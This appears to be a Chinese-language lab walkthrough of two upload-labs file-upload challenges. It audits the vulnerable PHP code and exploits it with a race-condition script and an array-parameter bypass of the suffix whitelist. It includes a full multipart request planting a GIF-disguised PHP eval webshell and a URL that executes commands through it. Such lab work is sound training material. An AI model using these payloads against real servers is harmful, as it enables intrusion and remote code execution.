需要代码审计
上传一张图片
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 定义数组, 后缀名白名单
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name']; // 原始文件名
$temp_file = $_FILES['upload_file']['tmp_name']; // 临时文件名
$file_ext = substr($file_name,strrpos($file_name,".")+1); // 后缀名
$upload_file = UPLOAD_PATH . '/' . $file_name; // upload路径
// 移动文件到upload路径下, 保持原始文件名
if(move_uploaded_file($temp_file, $upload_file)){
// 判断后缀名是是否属于白名单
if(in_array($file_ext,$ext_arr)){
// 定义新的文件名
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
// 重命名文件
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file); // 删除文件
}
}else{
$msg = '上传出错!';
}
}
?>
因为移动upload_file
文件到目录的过程可能存在较短的一段时间,
所以从 move_uploaded_file()
移动文件, 到 unlink()
删除 upload_file
文件之间可能存在一定时间间隔.
虽然这个文件之后会被 unlink()
删除, 但是只要在 upload_file
没有被删除的这段时间之内马上用浏览器去访问它, 就可以通过它里面的代码 file_put_contents()
写一个新的木马mm.php
文件到服务器上, 漏洞利用就成功了.
上传文件upload.php
的代码, 这段代码将一句话木马写到新的mm.php
文件:
file_put_contents("mm.php", '');
echo "ok"
?>
由于这里可以利用的时间可能很短, 实战中需要反复进行上传文件和访问文件来测试, 只要有一瞬间访问到了upload.php
文件就可能成功创建出mm.php
并写入代码.
可以使用python或burp suite等工具来重复发送请求来提高成功率.
在burpsuite中将上传请求截获, 发送到Intruder窗口.
payload子窗口选择 Null payloads, Generate填写次数.
Options子窗口RequestEngine设置, Number of threads 设置线程数, Throttle, Fixed填写请求间隔时间(毫秒).
import requests, time
url = 'http://192.168.112.200/upload-labs-master/upload/upload.php'
while 1:
resp = requests.get(url)
if resp.status_code == 200 and resp.text == "ok":
print('ok')
break
time.sleep(0.05)
需要代码审计
上传一张图片, 输入框可以重命名文件.
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
// 如果提交的 save_name 为空, 则获取原始文件名, 否则使用提交的 save_name 文件名.
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
// 这里在判断file是否是数组
if (!is_array($file)) {
$file = explode('.', strtolower($file)); // 如果不是数组则按照点拆分得到一个数组
}
$ext = end($file); // 从拆分后的数组中获取最后一个元素, 得到后缀名
$allow_suffix = array('jpg','png','gif'); // 后缀名白名单
// 疑问: 这里为什么要判断 save_name 是数组呢? 那么它可能是数组吗?
// 判断后缀名是否属于白名单
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
?>
test.php
<?php
$save_name = $_POST['save_name'];
var_dump($save_name);
?>
url: http://192.168.112.200/security/test.php
post data: save_name[0]=mm.php&save_name[1]=abc&save_name[2]=123
array(3){
[0]=> "mm.php"
[1]=> "abc"
[2]=> "123"
}
请求参数可以直接以数组方式提交.
通过构造POST请求的 save_name 参数, 使得文件名后缀是合法的, 并且提交到服务器上的文件是可以执行的脚本.
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
// 如果提交的 save_name 为空, 则获取原始文件名, 否则使用提交的 save_name 文件名.
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
// 这里在判断file是否是数组
if (!is_array($file)) {
$file = explode('.', strtolower($file)); // 如果不是数组则按照点拆分得到一个数组
}
$ext = end($file); // 从拆分后的数组中获取最后一个元素, 得到后缀名
$allow_suffix = array('jpg','png','gif'); // 后缀名白名单
// 判断后缀名是否属于白名单
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
reset($file), 返回file数组第一个元素的值.
$file[count($file) - 1], 返回file数组的最后一个元素的值.
$file_name 的值将两部分进行拼接.
/*
那么这里发现漏洞, $file[count($file) - 1] 是根据数组的键来取值,
如果能构造一个数组元素, 让第一个元素值是php文件名`mm.php`, 第二个元素值是合法的后缀名`jpg`,
但是第二个元素的键是[2], 而不是[1], 那么此时 $file[count($file) - 1] 就是 $file[1],
因为没有[1]这个键会导致无法取得这个值, 结果就是空.
那么构造数组:
post data: save_name[0]=mm.php, save_name[2]=jpg
执行结果:
$file_name = "mm.php" . '.' . $file[2 - 1]
$file_name = "mm.php" . '.' . ""
$file_name = "mm.php."
*/
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
?>
在burpsuite中提交post数组:
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="upload_file"; filename="mm.php"
Content-Type: image/gif
GIF89a
<?php @eval($_GET["cmd"]); ?>
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="save_name[0]"
mm.php
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="save_name[2]"
gif
-----------------------------3816641301419821690338590197
Content-Disposition: form-data; name="submit"
涓婁紶
-----------------------------3816641301419821690338590197--
访问木马:
http://192.168.112.200/upload-labs-master/upload/mm.php.?cmd=phpinfo();
注意mm.php.
末尾的点.